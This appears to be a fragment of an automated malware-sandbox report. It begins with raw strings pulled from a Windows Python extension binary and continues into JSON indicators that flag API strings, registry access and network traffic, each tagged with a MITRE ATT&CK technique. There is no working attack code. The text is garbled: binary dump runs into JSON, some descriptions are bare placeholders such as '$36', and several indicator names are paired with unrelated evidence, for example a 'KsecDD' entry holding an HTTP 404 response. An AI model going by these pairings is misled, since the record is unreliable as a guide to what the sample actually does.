ZJtAD:\a\1\b\bin\win32\pyexpat.pdbGCTL.text$mn.idata$5.00cfg.CRT$XCA.CRT$XCZ.CRT$XIA.CRT$XIZ.CRT$XPA.CRT$XPZ.CRT$XTA.CRT$XTZ.rdata.rdata$sxdata.rdata$voltmd.rdata$zzzdbg.rtc$IAA.rtc$IZZ.rtc$TAA.rtc$TZZ.xdata$x.edata.idata$2.idata$3.idata$4.idata$6.data.bss.rsrc$01.rsrc$02pyexpat.pydPyInit_pyexpatGetCurrentProcessIdGetSystemTimeAsFileTimeKERNEL32.dllPyObject_SetAttrPyUnicode_InternFromStringPyErr_SetObjectPyBool_FromLongPyObject_CallOneArgPyModule_AddIntConstantPyErr_OccurredPyUnicode_DecodeUTF8PyUnicode_AsUTF8AndSizePyExc_RuntimeErrorPyObject_SetAttrStringPyLong_FromLongPyObject_GC_UnTrackPy_BuildValuePyFloat_AsDouble_Py_NoneStructPyTuple_NewPyDict_SetItemStringPyDict_SetDefaultRef_Py_HashSecret_PyArg_BadArgumentPyErr_SetStringPyObject_CallFunctionPyErr_WriteUnraisable_PyArg_UnpackKeywordsPyExc_ValueErrorPyErr_FormatPyModule_AddStringConstantPyFloat_TypePyType_IsSubtype_Py_DeallocPyDescr_NewGetSetPyModule_AddObjectRef_PyImport_SetModulePyCapsule_GetPointerPyObject_GC_DelPyLong_AsLongPyUnicode_FromFormatPyObject_GetBufferPyList_NewPyErr_NewExceptionPyModule_NewPyList_AppendPyUnicode_DecodePyType_GetModuleStatePyCapsule_NewPyDict_SetItemPyDict_New_PyTraceback_AddPyMem_FreePyObject_GetOptionalAttrPyErr_NoMemory_PyRuntimePyModuleDef_InitPyObject_GC_TrackPyBytes_FromStringAndSizePyDict_GetItemRefPyLong_AsIntPyExc_TypeErrorPyType_FromModuleAndSpecPyMem_ReallocPyObject_IsTrue_PyByteArray_empty_stringPyMem_Malloc_PyLong_UnsignedLongLong_ConverterPyModule_GetState_PyObject_GC_NewPyUnicode_FromStringPyLong_FromSize_tPyBuffer_ReleasePyObject_CallPyByteArray_TypePyModule_AddPyUnicode_FromStringAndSizepython313.dllstrrchr__std_type_info_destroy_listmemset_except_handler4_commonVCRUNTIME140.dll__acrt_iob_funcreallocstrtoul__stdio_common_vfprintf_errnorand_sfreegetenvmalloc_initterm_initterm_e_seh_filter_dll_configure_narrow_argv_initialize_narrow_environment_initialize_onexit_table_execute_onexit_table_cexitapi-ms-win-crt-stdio-l1-1-0.dllapi-ms-win-crt-heap-l1-1-0.dllapi-ms-win-crt-convert-l1-1-0.dllapi-ms-win-crt-runtime-l1-1-0.dllapi-ms-win-crt-utility-l1-1-0.dllapi-ms-win-crt-environment-l1-1-0.dllUnhandledExceptionFilterSetUnhandledExceptionFilterGetCurrentProcessTerminateProcessIsProcessorFeaturePresentQueryPerformanceCounterGetCurrentThreadIdDisableThreadLibraryCallsInitializeSListHeadIsDebuggerPresentmemcpymemmove Meta path finder for modules declared in the Windows registry.z;Software\\Python\\PythonCore\\{sys_version}\\Modules\\{fullname}zASoftware\\Python\\PythonCore\\{sys_version}\\Modules\\{fullname}\\Debugz\" in Source: 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"--)?(?P[ \\t]*)(?P\\r\\n|\\r|\\n)?$\" (Indicator: \"\"; Source: \"00000000-00006700.00000000.193660.05950000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"hostname\" (Indicator: \"hostname\"; Source: \"00000000-00006700.00000000.193660.05790000.00000004.mdmp\")\n Found string \"PING\" (Indicator: \"ping\"; Source: \"00000000-00006700.00000000.193660.71B15000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\"\n Found registry deletion API: \"RegDeleteKeyExW\" in file \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"DEL\" (Indicator: \"del\") in Source: 00000000-00006700.00000000.193660.71B15000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00006700.00000000.193660.05790000.00000004.mdmp\n 00000000-00006700.00000000.193660.72369000.00000002.mdmp\n 00000000-00006700.00000000.193660.726ED000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"62a6e64a7233f4a756d01c54840ff703a620a416929d57eebc0bdac3b9ed2019.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006700.00000000.193660.05790000.00000004.mdmp, 00000000-00006700.00000000.193660.71F6C000.00000002.mdmp, 00000000-00006700.00000000.193660.726B9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"pythonw.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"May contain SSL certificate","description":"\"-----BEGIN CERTIFICATE-----\" (Indicator: \"----begin certificate----\") in Source: 00000000-00006700.00000000.193660.05790000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1588.004","relevance":1,"id":"string-574","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\" HTTP/1.1 404 Not Found\nAccess-Control-Allow-Origin: *\nContent-Type: application/json; charset=utf-8\nContent-Length: 55\nETag: W/\"37-kHr/V9Y/rMqOT3hJvehx2gloG5Y\"\nDate: Thu\n 16 Apr 2026 22:14:18 GMT\nConnection: close with response body ==>7B22636F6465223A3430342C2273756363657373223A66616C73652C226D657373616765223A2246696C65206E6F7420666F756E64227D.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"69e15ef9517ca3f9db0f96a1"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"